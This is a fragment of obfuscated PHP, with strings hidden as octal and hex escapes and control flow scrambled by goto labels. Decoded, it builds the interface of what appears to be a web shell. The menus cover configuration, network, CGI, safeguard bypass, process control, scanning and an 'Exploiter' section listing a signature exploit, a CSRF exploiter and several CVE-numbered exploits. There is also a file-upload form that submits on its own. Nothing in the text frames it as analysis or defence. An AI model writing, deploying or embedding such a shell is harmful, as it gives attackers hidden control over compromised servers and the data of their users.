"\42\x3e\x43\157\156\x66\x69\x67\x3c\x2f\x61\x3e\xa\11\11\11\11\x9\x9\74\57\x6c\151\x3e\12\x9\x9\x9\11\x9\11\x3c\x6c\x69\x20\x63\x6c\x61\x73\163\x3d\x22\x6e\141\x76\55\x69\164\x65\155\40\x61\143\164\151\166\x65\42\76\xa\x9\11\11\11\x9\x9\x9\74\x61\40\x63\154\x61\163\x73\75\42\x6e\141\166\55\154\x69\x6e\x6b\40\141\x6a\170\42\40\x68\162\x65\146\x3d\42\77\144\75" . hex($d) . "\x26" . hex("\156\145\164\167\157\162\x6b") . "\x22\x3e\116\145\164\167\x6f\x72\x6b\74\57\x61\x3e\xa\11\x9\x9\x9\11\11\x3c\x2f\154\151\76\12\11\11\11\11\11\x9\74\154\151\x20\x63\154\x61\x73\x73\x3d\42\x6e\141\166\55\x69\x74\x65\x6d\x20\141\x63\x74\151\166\145\x22\76\xa\x9\11\11\x9\11\x9\x9\x3c\141\40\x63\154\141\x73\x73\75\x22\156\141\x76\55\x6c\x69\x6e\x6b\40\141\152\x78\42\x20\x68\162\x65\x66\75\x22\77\144\x3d" . hex($d) . "\x26" . hex("\143\x67\x69") . "\42\76\103\x47\111\74\x2f\141\76\12\x9\x9\x9\x9\11\x9\74\x2f\154\x69\76\xa\11\11\11\11\11\x9\x3c\x6c\151\40\143\154\x61\163\163\x3d\x22\x6e\141\166\x2d\x69\x74\x65\155\40\x61\143\x74\x69\166\x65\42\76\12\11\x9\11\11\x9\x9\x9\74\x61\40\143\x6c\x61\163\x73\x3d\42\156\141\x76\55\x6c\151\x6e\153\x20\x61\x6a\170\x22\x20\x68\162\145\x66\x3d\42\77\144\x3d" . hex($d) . "\x26" . hex("\x62\x79\x70\141\163\x73") . "\42\x3e\102\171\x70\141\x73\x73\x3c\x2f\x61\x3e\xa\11\11\x9\11\x9\x9\74\x2f\154\x69\x3e\xa\11\x9\11\x9\x9\11\74\x6c\x69\x20\x63\154\x61\163\x73\x3d\x22\156\141\x76\55\x69\164\x65\155\x20\141\x63\x74\x69\166\145\42\x3e\12\11\11\x9\x9\x9\11\x9\74\x61\x20\x63\154\x61\x73\x73\75\42\156\141\166\55\154\x69\156\153\x20\141\152\x78\42\x20\150\x72\x65\146\75\42\x3f\x64\75" . hex($d) . "\x26" . hex("\x65\170\x70\154\x6f\151\164\x65\162") . "\42\76\105\170\x70\x6c\x6f\x69\164\145\162\x3c\x2f\141\x3e\xa\x9\11\x9\x9\11\x9\74\x2f\154\151\x3e\12\11\x9\11\11\x9\11\x3c\x6c\x69\40\x63\154\141\163\163\75\42\156\x61\x76\55\151\164\x65\155\x20\141\143\x74\x69\166\145\x22\76\12\11\x9\x9\11\x9\x9\11\x3c\141\40\x63\x6c\141\x73\x73\x3d\42\x6e\x61\x76\x2d\154\151\x6e\x6b\40\x61\x6a\170\x22\x20\x68\x72\x65\146\x3d\42\77\144\75" . hex($d) . "\46" . hex("\141\165\164\x6f\x5f\164\x6f\x6f\154\163") . "\x22\x3e\124\x6f\157\x6c\x73\x3c\57\x61\76\xa\11\x9\x9\11\11\11\74\57\154\151\76\12\x9\x9\11\x9\x9\x9\74\x6c\151\40\143\x6c\141\163\x73\x3d\42\156\x61\166\x2d\x69\164\x65\155\40\x61\x63\164\151\166\145\x22\x3e\12\11\x9\11\x9\x9\x9\11\x3c\141\40\x63\x6c\141\163\163\75\x22\156\141\166\x2d\154\151\x6e\153\40\141\x6a\x78\x22\40\x68\x72\145\x66\75\x22\x3f\144\x3d" . hex($d) . "\x26" . hex("\160\162\x6f\143\x65\163\x73\x78") . "\42\76\x50\x72\x6f\143\x65\163\163\74\57\141\x3e\12\11\x9\x9\x9\x9\x9\x3c\x2f\x6c\151\76\11\x9\x9\12\11\11\x9\x9\11\x9\x9\x9\x9\11\12\x9\11\11\11\x9\x9\74\x6c\151\x20\x63\154\141\163\x73\75\x22\156\x61\x76\55\151\x74\x65\x6d\x20\141\x63\164\x69\166\145\42\x3e\xa\11\x9\11\x9\11\x9\x9\74\x61\x20\x63\x6c\141\163\163\x3d\42\x6e\141\166\55\154\x69\156\x6b\x20\141\x6a\170\x22\40\150\162\x65\x66\75\x22\77\x64\75" . hex($d) . "\46" . hex("\163\x63\141\x6e\x6e\145\x72") . "\x22\x3e\x53\x63\141\156\156\x65\x72\74\x2f\141\76\12\11\11\x9\11\11\x9\74\57\154\151\x3e\xa\xa\x9\x9\11\11\11\x9\x3c\x6c\151\x20\x63\x6c\141\163\163\75\42\x6e\x61\x76\55\x69\164\145\155\x20\x61\x63\164\151\x76\145\x22\76\12\x9\11\11\x9\x9\x9\x9\x20\74\x61\x20\x63\x6c\141\163\163\x3d\x22\156\141\x76\x2d\154\x69\x6e\153\40\141\152\x78\x22\40\150\x72\145\x66\75\x22\x3f\x64\x3d" . hex($d) . "\46" . hex("\154\157\147\x6f\x75\164") . "\42\x3e\x20\xa\11\11\x9\11\x9\11\x9\x9\114\x6f\x67\x6f\x75\164\x20\x3c\163\x75\160\x3e\61\56\60\x61\74\57\163\165\160\76\12\x9\x9\x9\x9\x9\x9\x9\x3c\57\141\76\12\x9\x9\11\x9\x9\x9\74\57\x6c\151\76\xa\x9\x9\x9\x9\x9\11\11\x9\x9\x9\12\11\11\11\x9\x9\74\57\165\154\x3e\12\11\11\x9\11\x3c\x2f\144\x69\x76\x3e\12\12\11\11\11\x9\74\x64\151\166\40\x63\x6c\141\x73\x73\x3d\x22\x79\40\x78\x22\76\x3c\141\x20\x68\x72\x65\x66\75\42\x3f\x22\x20\x63\x6c\x61\x73\x73\75\42\141\152\170\42\76\x3c\150\61\76\74\x66\x6f\156\x74\40\x63\157\154\x6f\x72\x3d\x22\x62\154\141\143\x6b\x22\76\x58\74\57\x66\x6f\x6e\x74\76\x3c\57\x68\61\x3e\74\x2f\x61\x3e\x3c\x2f\x64\x69\166\x3e\12\x9\11\11\11\x3c\x62\165\x74\x74\x6f\156\x20\143\x6c\141\163\x73\75\x22\x6e\141\166\142\141\162\x2d\164\x6f\147\x67\x6c\x65\162\42\40\x74\x79\160\145\x3d\x22\x62\x75\x74\164\x6f\x6e\x22\x20\144\141\x74\x61\x2d\x74\157\147\x67\154\145\75\x22\143\157\x6c\154\x61\x70\163\x65\x22\40\144\141\x74\141\55\x74\x61\162\x67\145\x74\75\42\43\x6e\x61\166\x62\141\x72\116\141\166\x22\x20\x61\x72\x69\141\x2d\143\157\x6e\164\162\x6f\x6c\163\75\42\156\141\166\142\141\x72\116\141\x76\42\40\x61\162\x69\x61\x2d\x65\x78\160\141\x6e\x64\x65\x64\75\42\x66\x61\x6c\163\x65\x22\40\141\162\x69\x61\55\154\141\x62\145\154\75\42\x54\157\x67\x67\x6c\145\x20\x6e\x61\166\x69\x67\x61\x74\151\x6f\x6e\42\76\xa\x9\x9\11\x9\x9\x3c\x73\160\x61\156\40\x63\154\x61\x73\x73\75\42\156\x61\x76\x62\x61\162\x2d\x74\x6f\x67\147\154\x65\162\55\151\143\157\x6e\42\x3e\x3c\x2f\163\x70\141\156\x3e\xa\x9\x9\x9\11\x3c\x2f\x62\x75\x74\x74\157\156\x3e\xa\xa\11\11\x9\x3c\x2f\x6e\141\x76\x3e\12\11\11\x3c\57\144\x69\x76\x3e\12\x9\xa\x9\x9\x9\11\x9\xa\11\x9\x9\xa\x9\11\x9\xa\xa\12\11\x9\74\x64\x69\166\40\143\x6c\x61\163\x73\75\42\165\x22\x3e\xa\xa\xa\11\11\11\74\146\x6f\x72\155\x20\x6d\x65\x74\x68\157\x64\75\x22\160\x6f\x73\164\42\40\145\x6e\143\x74\171\x70\145\x3d\42\155\x75\154\164\151\x70\141\x72\x74\57\146\157\162\155\x2d\144\141\164\x61\x22\x3e\12\11\x9\11\x9\74\x6c\141\x62\145\154\40\143\154\x61\163\x73\x3d\42\154\40\167\x22\76\74\x62\162\76\12\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\40\40\40\40\40\40\x20\x20\40\40\x20\x20\40\74\x2f\x73\x76\147\x3e\x3c\151\156\160\165\164\x20\x74\x79\x70\x65\x3d\42\146\x69\154\x65\x22\40\x6e\141\x6d\x65\75\42\156\x5b\x5d\x22\x20\x6f\156\143\x68\141\x6e\x67\x65\75\42\164\x68\151\x73\x2e\146\157\x72\x6d\56\x73\x75\142\155\x69\164\x28\x29\x22\x20\155\165\154\164\x69\x70\x6c\145\40\143\154\x61\163\163\75\42\146\x6f\x72\155\55\143\x6f\156\x74\162\157\154\x20\155\162\55\63\42\76\12\11\x9\11\x9\74\57\x6c\x61\142\x65\154\x3e\46\x6e\142\163\160\x3b\12\x9\x9\11\74\x2f\146\157\x72\155\76"; goto OtFPF; Qip5y: echo "\x3c\x73\143\x72\x69\160\x74\76\12\x9\11\11\11\11\44\50\42\56\x61\152\x78\42\x29\x2e\x63\154\x69\x63\x6b\x28\x66\x75\x6e\143\x74\151\157\156\50\x74\x29\40\x7b\12\11\11\x9\x9\x9\11\164\56\160\x72\145\x76\145\x6e\x74\104\145\146\141\x75\x6c\164\50\51\73\12\x9\x9\11\11\11\x9\x76\141\162\x20\x65\40\75\x20\x24\x28\164\x68\x69\163\x29\56\x61\164\x74\162\x28\x22\150\162\145\x66\42\x29\73\12\11\11\x9\x9\11\x9\150\x69\163\x74\x6f\x72\x79\x2e\160\165\x73\150\x53\x74\141\x74\x65\x28\x22\42\x2c\x20\x22\42\54\x20\x65\x29\x2c\40\x24\56\147\x65\164\50\145\x2c\x20\x66\165\x6e\143\164\x69\157\156\50\164\51\x20\x7b\12\11\11\x9\11\11\11\11\x24\50\42\142\157\144\171\42\x29\56\150\164\155\154\x28\164\51\12\x9\x9\11\11\x9\x9\x7d\x29\xa\x9\11\11\11\11\175\51\x3b\12\11\x9\11\11\74\57\x73\143\162\151\160\164\x3e\74\57\142\x6f\x64\x79\x3e\x3c\57\x68\164\155\154\x3e"; goto IsVv1; jXL8L: function ExploitermenU($d) { echo "\x3c\x68\162\76\x3c\142\x72\x3e"; echo "\x3c\x63\145\x6e\x74\145\162\x3e\x3c\150\x32\x3e\x45\170\x70\x6c\x6f\x69\x74\x65\162\x20\x59\x3c\x2f\x68\62\76\x3c\57\143\x65\x6e\164\145\162\x3e\74\x62\x72\76"; echo "\74\146\157\162\x6d\40\155\x65\x74\150\x6f\144\x20\75\40\x27\x50\117\123\124\47\76\xa\x9\11\11\x9\11\x9\x3c\x64\x69\166\x20\143\154\x61\163\163\40\x3d\x20\47\x72\157\x77\40\143\x6c\x65\141\162\x66\x69\x78\47\76\xa\x9\11\11\x9\x9\11\x3c\144\151\x76\40\x63\154\x61\x73\x73\x20\x3d\40\47\x63\157\154\55\155\x64\x2d\62\x27\x3e\xa\11\11\x9\x9\11\x9\x3c\x61\x20\x63\x6c\141\x73\x73\40\x3d\40\47\146\157\162\x6d\x2d\143\x6f\x6e\x74\x72\157\x6c\x20\141\x6a\170\47\40\x68\x72\x65\x66\x20\x3d\x20\47\77\x64\75" . hex($d) . "\46" . hex("\163\x69\147\x6e\141\164\x75\x72\x65") . "\x27\40\x73\x74\171\154\145\x3d\x27\x77\x69\x64\164\x68\72\x20\62\x35\x30\160\170\73\47\x20\150\x65\x69\147\150\164\75\x27\x31\60\47\76\74\143\145\x6e\164\145\162\x3e\x53\x69\147\x6e\141\164\x75\x72\x65\x20\105\170\160\154\157\x69\x74\74\x2f\143\x65\156\164\145\162\x3e\x3c\x2f\141\x3e\xa\x9\x9\11\11\x9\11\x3c\57\144\x69\x76\x3e\11\x9\11\x9\x9\x9\12\x9\11\x9\x9\11\x9\74\x64\151\166\40\x63\x6c\141\x73\163\40\75\x20\x27\x63\x6f\154\55\x6d\x64\55\x32\x27\x3e\12\x9\11\11\11\11\11\74\x61\x20\143\154\x61\x73\x73\40\75\40\47\x66\x6f\162\x6d\x2d\143\x6f\x6e\164\x72\x6f\x6c\40\141\152\170\x27\40\150\162\145\146\40\x3d\40\47\x3f\144\x3d" . hex($d) . "\46" . hex("\143\163\162\146") . "\47\x20\163\x74\171\x6c\145\75\47\167\x69\x64\x74\x68\72\x20\x32\x35\60\160\x78\x3b\47\40\x68\145\151\x67\x68\164\x3d\x27\x31\60\47\76\x3c\x63\x65\156\x74\145\162\x3e\x43\x53\122\x46\x20\105\x78\160\154\157\x69\x74\145\162\74\x2f\143\x65\x6e\x74\145\162\76\74\57\141\x3e\12\11\x9\x9\x9\11\x9\x3c\57\x64\x69\166\76\12\11\11\x9\11\11\11\74\x64\x69\166\40\143\x6c\x61\163\163\x20\75\40\x27\x63\157\x6c\55\155\144\x2d\x32\x27\76\xa\11\x9\x9\x9\11\11\74\x61\x20\x63\154\x61\x73\x73\x20\75\x20\47\146\x6f\x72\x6d\55\143\157\156\164\162\x6f\154\x20\141\152\x78\x27\x20\x68\x72\x65\x66\40\75\x20\x27\x3f\x64\x3d" . hex($d) . "\x26" . hex("\64\x30\x33\x34") . "\x27\x20\163\164\171\x6c\145\75\47\167\x69\144\x74\150\x3a\x20\x32\x35\x30\x70\170\x3b\47\40\x68\145\x69\147\x68\164\x3d\x27\x31\60\47\x3e\74\x63\x65\156\164\145\x72\76\103\126\105\40\64\x30\x33\x34\x3c\x2f\x63\145\x6e\164\x65\x72\x3e\74\x2f\x61\76\xa\11\11\11\11\11\11\x3c\x2f\x64\x69\166\76\xa\11\11\x9\x9\x9\x9\74\144\x69\x76\40\143\x6c\141\x73\x73\x20\75\40\x27\143\x6f\154\x2d\155\x64\x2d\x32\x27\76\xa\11\11\x9\x9\11\x9\x3c\141\x20\x63\154\141\x73\x73\x20\x3d\x20\x27\146\x6f\x72\x6d\55\143\x6f\x6e\164\162\157\x6c\x20\141\152\170\x27\x20\x68\162\145\146\40\x3d\x20\x27\77\x64\75" . hex($d) . "\x26" . hex("\x33\61\65\66") . "\x27\40\x73\164\x79\154\x65\x3d\x27\167\151\x64\x74\150\x3a\40\62\x35\60\160\x78\73\47\40\x68\145\151\x67\150\x74\75\x27\x31\x30\47\x3e\x3c\143\x65\x6e\164\x65\x72\x3e\x43\x56\105\x20\63\61\x35\x36\x3c\x2f\143\145\x6e\164\145\162\x3e\74\x2f\x61\x3e\12\11\x9\x9\11\x9\11\x3c\57\144\x69\x76\x3e\12\x9\x9\11\11\11\11\74\x64\151\x76\x20\143\154\141\x73\163\x20\75\x20\x27\143\157\x6c\x2d\x6d\144\55\x32\47\x3e\xa\x9\x9\11\x9\11\x9\x3c\x61\40\x63\154\141\163\x73\40\75\x20\x27\146\x6f\162\x6d\x2d\x63\157\156\x74\162\x6f\x6c\40\x61\152\x78\47\x20\x68\162\145\x66\x20\75\x20\x27\x3f\144\75" . hex($d) . "\x26" . hex("\62\60\61\66") . "\47\40\x73\164\x79\x6c\145\x3d\x27\x77\x69\144\x74\150\x3a\40\62\x35\60\x70\x78\73\x27\40\x68\145\151\x67\x68\x74\x3d\x27\x31\60\47\x3e\x3c\143\145\156\164\145\x72\76\x43\x56\105\40\x32\60\x31\66\x3c\x2f\x63\x65\156\x74\145\x72\x3e\x3c\x2f\141\x3e\xa\11\x9\11\x9\x9\11\74\x2f\x64\151\166\x3e\xa\11\11\x9\x9\x9\11\12\x9\x9\11\11\11\x9\74\x2f\x64\151\166\76\xa\x9\x9\11\11\11\x9\12\x9\11\x9\11\x9\11\x3c\57\x66\157\x72\155\x3e"; echo "\74\x68\x72\x3e"; } goto tb_SJ; IsVv1: